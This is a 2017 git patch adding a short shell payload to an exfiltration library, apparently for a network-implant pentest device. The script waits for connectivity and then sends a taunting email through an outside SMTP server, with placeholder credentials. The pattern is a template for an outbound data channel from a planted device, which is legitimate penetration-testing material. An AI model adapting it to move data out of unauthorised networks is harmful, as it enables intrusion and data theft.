From bb175fc269f63ecf0c2366d8c929cccf61bbcf4a Mon Sep 17 00:00:00 2001 From: TheDragonkeeper Date: Sat, 4 Nov 2017 16:00:57 +0000 Subject: [PATCH] Example of sending email with bash variables --- .../exfiltration/Email-Sender/payload.sh | 17 +++++++++++++++++ 1 file changed, 17 insertions(+) create mode 100644 payloads/library/exfiltration/Email-Sender/payload.sh diff --git a/payloads/library/exfiltration/Email-Sender/payload.sh b/payloads/library/exfiltration/Email-Sender/payload.sh new file mode 100644 index 0000000..bb007e1 --- /dev/null +++ b/payloads/library/exfiltration/Email-Sender/payload.sh @@ -0,0 +1,17 @@ +function run() { + LED STAGE1 + SWITCH_POS=$(SWITCH) + until ping -c 1 8.8.8.8 >/dev/null ; do : ; done + SUBJECT='Im Just Nutty' + BODY='And your network is nutty too.' + RCPT="recieving email" + FROM="your email" + SERVER="server.com" + USER="username" + PASS="password" + python /root/payloads/$SWITCH_POS/sendmail.py $FROM $RCPT "$SUBJECT" "$BODY" $SERVER $USER $PASS + LED FINISH +} + +NETMODE NAT +run